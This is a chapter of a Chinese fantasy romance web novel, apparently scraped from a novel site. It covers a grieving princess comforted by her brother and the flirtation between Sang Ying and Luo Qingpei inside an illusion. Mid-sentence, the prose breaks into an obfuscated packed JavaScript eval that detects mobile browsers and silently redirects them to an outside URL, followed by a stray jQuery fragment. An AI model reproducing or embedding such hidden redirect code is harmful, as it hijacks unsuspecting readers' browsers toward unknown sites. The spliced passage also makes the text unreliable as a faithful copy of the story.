玉白石阶上斜躺着一个少女,她一身红衣,手中握着酒杯,一口一口往口中灌。
她露出的脸与桑樱有几分相似。
神色淡然,眼神空洞。
再上去几步,就可以去她的榻上,而她偏偏倒在这里。
白玉石大门被推开,玄袍男子大步跨进来。
对上石阶上的女子,他眼神冷漠,声音强硬:“起来!”
红衣少女不为所动,继续给自己灌酒。
男子一把夺过少女手中酒壶,怒声呵斥:“离归迎月,要糜烂就死远点!”
叫离归迎月的少女抬头,欲要抢酒壶,却被男子推开。
“你来做什么?滚!”少女眼神狠厉,再次去抢酒壶。
男子将酒壶一摔,酒水全都撒出来。
他深深吸了口气,尽量让自己的不那么愤怒。
“你这样,皇兄和皇姐会失望。”
离归迎月紧盯男子低垂的双眼,冷笑一声:“他们都死了,失望又有什么用?”
男子瞠目,一巴掌将离归迎月扇倒在地:“迎月,你嘴巴放干净些!”
离归迎月吐出一口血来,颊边生疼。她望着自己颤抖的右手,她心底涌起无尽的委屈。
少女抓住男子的袍角,带着哭腔:“你说姐姐为什么要死?”
“为什么强大到她那个地步,还是会死?”
她死死地抓着男子衣袍,像是抓住最后的救命稻草:“哥,他们不会怪我的对吧?”
男子似乎终于软了态度,他蹲下身,替少女拂开面上发丝:“你好好活着,就是对他们最大的安慰。”
离归桑樱死后,离归焕成为少君,离归迎月被送到妖魔边界,戍边。
在不久前,魔族偷袭,她守城时失去了九成的妖力,右手也废了。
她喜欢用刀,可是她的手废了,她修为也没了。
母皇他们会不会怪她?
离归焕抱住自厌的妹妹,轻轻拍打她的背:“你重新修炼,很快就能修炼好的。握刀也可以用左手,没关系的。”
可离归迎月知道她的妖丹破损严重,哪里还有再修炼的可能?不过是自欺欺人。
离归焕还想安慰自己的妹妹。
如今这个世上妹妹是他最亲近的人。父皇甚至不愿意提起他死去的妻子和儿女。
他们的父皇希望他们成长起来,却又要派人监视他们。
他一边想要留住自己的权势,一边又要他们成长。
这样矛盾的人,就是他们的父皇。
父皇已经不像儿时那样爱他们了,甚至只有争权夺利的冷漠。
妹妹是他最亲近之人了。
离归焕抱紧离归迎月,不想他的皇妹就此堕落。
就算妖丹破损严重又怎么样?他会给她找来最贵重,最有用的药。
他会让妹妹再次修炼。
他在用他的实际行动告诉在天之灵的母亲和兄姐,他们的妹妹可以在他们身后,他们有足够宽广的肩膀替她遮挡风雨。
或许他曾经的确想离归迎月能强大,毕竟兄姐的离世让他害怕。
可是妹妹现在已经很难过了,他愿意更努力些,站起来保护妹妹。
如果他的亲人能够涅槃该多好?
可是凤凰涅槃已经是很古老的传说了。
离归焕慢慢闭上眼,在离归迎月不能看见的地方流下泪水。
初春的风温暖无寒,桑樱在拂面的春风中醒过来。
刚醒过来,脑袋有点痛,她眼中有片刻的茫然。
当眼神转向窗外摇曳的树枝,她眼睛终于聚焦。
她拍了拍自己的头,她并不会因为喝醉而断片,反而会把那时候发生的事记得清清楚楚。
真有意思,她和洛青裴就着“笑不笑”说了一大堆废话。
醉酒的人果然很可怕。
好在亲到了,也不亏。
桑樱坐起身,端来水收拾好自己,接着上工。
曲羽若不是个清闲的人,自从那一次过后,就再也没来找她。
桑樱不想被动,于是自己去找曲羽若了。
本身就是通报过,进到公主府,被人带着去见曲羽若。
等绕了半天,她终于看到了曲羽若。
公主坐在亭子下,旁边坐着另外两个她也认识的人。
洛青裴和齐枝。
这两个人又来算计公主了。
桑樱想着向几个人行礼。
怪就怪这个幻境给她的身份实在不风光。
齐枝也还假装不认识她,挺好笑。
曲羽若看到桑樱来是挺开心的,她知道自己不可能总去看她。
毕竟她已经仁至义尽,可是桑樱天生长了一张惹人喜欢的脸,她也不免被吸引。
心中想难怪洛青裴会动心。
别看洛青裴嘴硬,其实旁观者清,就他自己还以为是什么闲来无事的乐趣。
男女之事也算是乐趣。
三个人都没有摆架子,桑樱被引着坐在他们身边。
话说这三个人在一起应该是要讨论些不为人知的事,他们这样任由她坐过来还真是心大。
桑樱乖乖待在旁边,不说话。
原来是在说什么哪里结界怎么了,桑樱不甚在意,现在再怎么好也没用。
这里本来就会灭掉,就算有两个知道后事的人在旁边出谋划策。
那也没用。
对于公主的谋划,桑樱从来事不关己高高挂起。
三个人的谈话并没有避开她,她一个凡人也会假装听不懂。
无聊的时候,她就时不时看两眼洛青裴。
然后收敛目光,含羞带怯。
公主看到桑樱如此羞怯,默默瞥了洛青裴一眼。
心想自己上次真是做了一个正确的选择。
只是她把人送过去,洛青裴不只没感谢她,反而第二天要跟她切磋。
她高出洛青裴一个小境界,本来胜券在握,只是洛青裴这小子不知道什么时候又精进了。
害的她吃了点亏。
她不知道,洛青裴现在有两个人的记忆,已经不是从前那个洛青裴了。
洛青裴现在很无语桑樱的行为,不知道这个女人又在干什么。
桌上四个人心思各异,齐枝也不例外。
自从恢复记忆以后,她和曲羽若相处起来总是有些别扭。
任谁在知道朋友注定会死,而现在要装作若无其事的和她相处都是一种煎熬。
只希望浩劫来得慢一些。
桑樱不免想到上次在公主府看到的那个妖族。
那妖没有什么修为,却被她留在府上,难道是救过她的命?
她可真是想找个时间问问。
若是问得太冒昧了,也不好。
不知道洛青裴他们晓不晓得。
等另外三个人把话说完,桑樱以为时候已到。
公主却拉着齐枝要说话,让她先回去。
还说什么不放心她一个人回去,要洛青裴送她回去。
桑樱不知道这个公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792355|210435||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
主满脑子都是些什么废料,反正她来也是无病呻吟,能和洛青裴单独相处也好。
洛青裴对上曲羽若投来的那副“我懂得”的目光,不作理会。
桑樱现在不知道要跟洛青裴说点什么,所以两个人还真的一句话都不说。
出了公主府,桑樱觉得没意思,只好自己找话题:“世子最近怎么样?”
洛青裴看她一眼,这人只会问怎么样的问题,每次见面最先问的就是他的现状。
不知道说什么,还要找话题,就这么喜欢他?
洛青裴放慢脚步,与桑樱走在一起。
“我很好,你不用挂心。”
桑樱抬头,笑眯眯道:“裴道长,你忘了,我喜欢你,不可能不挂心,”
洛青裴的心猛地跳了一下,他移开视线。
洛青裴半开玩笑道:“骗骗我就好了,别把你自己骗了。”
桑樱轻轻抓住洛青裴的袖子,有点委屈:“什么叫骗?我明明是很认真的再告诉你,我喜欢你啊!”
说到“喜欢”的时候,她又一扫阴霾,兴高采烈。
岩洞里说喜欢他,见香楼里说喜欢他,元宵也说喜欢他,现在从公主府出来,在平平无奇的下午她还是说喜欢他。
洛青裴想,她应当是有几分真心的。
洛青裴几不可闻的“嗯”了一声,没有回答她关于“喜欢”的直白。
桑樱浑不在意,太顺利了不好。
走了一会儿,桑樱看到卖糖葫芦的小贩。
她戳戳洛青裴肩膀:“我去买糖葫芦,你等等我。”
洛青裴没来得及回复,桑樱已经跑走了。
真的,半点文静样都没有。
他就说,温婉乖巧,只是伪装。
她的伪装或许会得到很多人的喜欢,但是洛青裴只想知道真实的她。
她时不时对他暴露出的恶劣,洛青裴很想抓住。
就像她在水下咬他舌头,勾着他不放开的时候。
睚眦必报,再小的事,她也要争。
也像她在收到珊瑚手串的时候,开心不掩饰,活泼也是她性格中的佐料,让她更加丰富。
或许她偶尔真的温婉乖巧,可是那也只是她身上很小的一部分。
洛青裴知道,桑樱是一个很多变的人。她身上灿烂的色彩不是她的长相就能代表的。
桑樱很快买好了糖葫芦,她买了两根。
如果洛青裴要吃就不用抢她的了,离归焕最喜欢跟她抢糖葫芦。
桑樱走近,在洛青裴的凝视中将糖葫芦递上去:“世子,吃吧。”
洛青裴接过。
他很少吃这些,但是他不是不吃。
身边的女子吃得很开心,而他并没有吃。
比起吃糖葫芦,他觉得看桑樱吃更有意思。
桑樱感觉得到身旁人灼热的目光。
她不知道这人突然发什么疯,心里又骂了两句。
糖葫芦的味道真好,不过现在离归焕是少君了。要是直接用身份争是争不过的。
要是要她跟他打,那也是打不过的。
桑樱本体还在受折磨呢,但是现在她本体的神魂连接在这具身体上。虽然这身体里的神魂有限,但却与她主神魂连接着。
本体的神魂沉睡了,现在是感受不到疼的,她在这个身体里也感受不到疼。
等拿到心羽主神魂就能醒过来了。而那个时候,她这具身体上神魂无力,就会很疲惫。
那都不是事儿,反正这身体也是要死的。